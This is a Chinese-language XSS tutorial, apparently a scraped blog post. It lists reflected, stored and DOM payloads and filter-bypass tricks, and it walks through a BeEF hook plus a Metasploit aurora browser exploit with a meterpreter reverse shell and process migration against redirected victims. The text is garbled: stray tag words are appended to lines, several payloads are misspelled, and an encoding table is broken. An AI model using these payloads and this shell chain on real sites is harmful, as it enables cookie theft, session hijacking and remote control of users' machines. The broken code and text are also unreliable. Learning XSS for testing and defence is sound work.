XSS是很是厉害的漏洞,在OWASP TOP10中榜上有名。javascript
XSS攻击一般指的是经过利用网页开发时留下的漏洞,经过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。php
人们常常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。所以,有人将跨站脚本攻击缩写为XSS。但我认为这个中文名字不是太好,XSS说白了就是利用JS脚本的强大能力,攻击者经过一些手段,好比说评论功能,留言功能,等等,把一段JS代码插入到受害网站中,若是受害者网站对用户输入的信息过滤不足,任何人在浏览时都会遭受到这段JS代码的威胁。甚至是原本就是恶意的一些网站,没有任何人攻击写入恶意代码,而是网站制做者自己的恶意写入去攻击网站浏览者。因此 引入恶意脚本的站点攻击 这个名字更适合他。css
危害: 盗取受害者cookie信息,电脑截屏,获取用户电脑的shell(打开cmd的权限),盗取帐号,劫持用户会话,插入恶意内容、重定向用户、使用恶意软件劫持用户浏览器、繁殖XSS蠕虫, js功能的强大超乎咱们的想像。html
利用一段简洁的代码,去测试网站有没有XSS的漏洞。这样的代码叫作 POC(Proof of Concept) proof 英[pruːf] n:证据; 证实; 检验;
java
网站通常会对<标签>
, '
, "
, \
进行过滤web
<script>alert('xss')</script> // 标签验证是否存在标签的过滤,若是出现弹窗则证实存在漏洞
<script>confirm('xss')</script> // 标签验证是否存在标签的过滤,若是出现弹窗则证实存在漏洞
<script>promot('xss')</script> // 标签验证是否存在标签的过滤,若是出现弹窗则证实存在漏洞
ajax
在有关页面输入此类代码进行提交,对结果页面进行检查,一般脚本是不会显示到页面上的,若是提交评论其余文字会有显示,而js代码却没有显示,则极可能攻击成功,咱们能够查看网页源代码进行查找是否成为了网页的js脚本。shell
若是这一小段代码引入成功,那么其余更加恐怖的代码也能够成功了。数据库
pikachuwindows
xsschallenge
从攻击代码的工做方式能够分为三个类型:
(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
(2)非持久型跨站:反射型跨站脚本漏洞,最广泛的类型。用户访问服务器-跨站连接-返回跨站代码。
(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑致使的安全问题。
基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程当中,服务器响应的页面并无发生变化,引发客户端脚本执行结果差别的缘由是对本地DOM的恶意篡改利用。
利用一些表单的变量,进行攻击。
www.abc.com/index.php?submit=submit&a=<script>alert('xss')</script>
其中submit是提交的结果显示,而a这个变量是用户提交的东西(评论,搜索内容等等),而这个连接会显示用户提交后的网页,这样,只要访问就会出现弹窗。因此不要乱点不明连接。点击便可触发反射形XSS攻击。
把恶意代码放到网站数据库中,网站是会存储用户的信息的,好比说评论信息,文章信息。你的一些发布的东西都会被永久的存储到数据库中,若是你提交的东西里包含可执行的恶意代码,别的用户在经过动态网站的访问时,网站从数据库里取出你放的评论(内有恶意代码),显示给其余人,恶意JS代码也就会执行。
纯网站本身编写的JS存在漏洞,致使其余人根据这些漏洞,把恶意代码写入页面。
DOM型XSS主要是由客户端的脚本经过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端得到DOM中的数据在本地执行,于是仅从服务器端是没法防护的。其防护在于:(1) 避免客户端文档重写、重定向或其余敏感操做,同时避免使用客户端数据,这些操做尽可能在服务器端使用动态页面来实现;(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和建立HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到则进行JS编码。
javascript:
伪协议的方式构造 XSS。
<a href="javasript:alert('xss')">clickMe</a>
<img src="javasript:alert('xss')" />
利用JS 对网页中的各类操做事件的响应,去触发JS代码进行 XSS。
<img src="images/defualt.jpg" onmouseover="alert('xss')" />
<input type='text' onkeydown="alert('xss')" />
style="backgroud-image:url(javasript:alert('xss'))"
利用XSS的各类形式,达到对于过滤器,过滤函数的绕过。
<Img sRc='#' Onerror="alert" />
<a hRef="javasript:alert('xss')"> clickMe </A>
HTML对引号没啥感受,如下三者均可以用。
img src="#" onerror="alter('xss')"
img src="#" onerror='alter('xss')'
img src="#" onerror=alter('xss')
<Img/sRc='#'/Onerror="alert">
<a hRef="j av asri pt:alert('xss')"> clickMe </A>
字符 | 编码 | 十进制编码 | 十六进制编码 |
---|---|---|---|
a | 97 | a |
a |
e | 101 | e |
e |
Tab | 	 |
能够插入任意位置 | |
换行 | |
能够插入任意位置 | |
回车 | |
能够插入任意位置 | |
SOH |  |
能够插入头部位置 | |
STX |  |
能够插入头部位置 |
<a hRef="
ja
vas
ript:alert('xss')"> clickMe `
这个有点问题。
<script><scr<script>ipt>
永远不要相信用户的输入。
Kali的一款工具。利用特定的JS代码,使得遭受这段代码攻击的人,在 beef服务器上上线,相似灰鸽子,能够浏览器劫持,获取受害主机的cookie,shell命令行权限等等。
安装完成后要修改配置文件,由于安全考虑,要修改在配置文件中的 默认帐户名和密码。
<script src="http://127.0.0.1:3000/hook.js"></script>
经过窃取受害者cookie,若是网站以cookie信息验证用户身份,则攻击者能够在本身的电脑中写入获取的cookie信息,直接登陆后台而不会受阻。
document.cookie="username=admin"; document.cookie="password=123456";
利用msf,msf是kali自带的一个工具,利用它生成一个能够利用浏览器漏洞获取shell的页面,让beef受害者重定向(**Redirect Browser*)到这个页面,便可查看用户本地进程,打开受害者的shell,可是一旦受害者断开页面或浏览器,这样的链接就会断开,因此要及时切换攻击进程的位置。
msfconsole # 启动工具 use exploit/windows/browser/ms10_002_aurora # 利用模块 set payload windows/meterpreter/reverse_tcp set SRVHOST 123.123.123.123 #目标地址 show options # 展现操做结果 set LHOST 11.11.11.11 #本机地址 show options # 展现操做结果 exploit # 攻击页面生成 URL # 利用重定向使用户访问页面 sessions -i #查看受害者链接 sessions -i 1 #进入到受害者会话 ps #查看受害者主机进程列表 任务管理器 getuid # 获取攻击进程的序号 migrate 1532 # 切换进程来维持长久链接
一个XSS漏洞利用平台。建立本身的项目,配置相关的攻击模块,自动会生成JS代码,在由XSS漏洞的平台里,用外部JS引入攻击代码,便可获取受害者信息,以及其余的一些操纵。
windows.location.hash会取得浏览器的url中 #
以及后面的字符串。
url_http://abc.com/index.php?a=5#abcdef location.hash=#abcdef
攻击实例:http://abc.com/index.php?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/你好世界/)
substr(index)会截取第几个字符后面的字符,从1开始。
把XSS代码写到cookie中,用户登陆或者是其余一些用到cookie信息的时候,一些网页会提取cookie信息,并展现给用户看,这个时候XSS就执行了。
利用Ajax去请求远端的JS代码,执行攻击。
网上有不少XSS练习平台,有的是在线网页的能够去人家的网站,还有能够下载下来放到本身机器上的练习网站。
多练。😒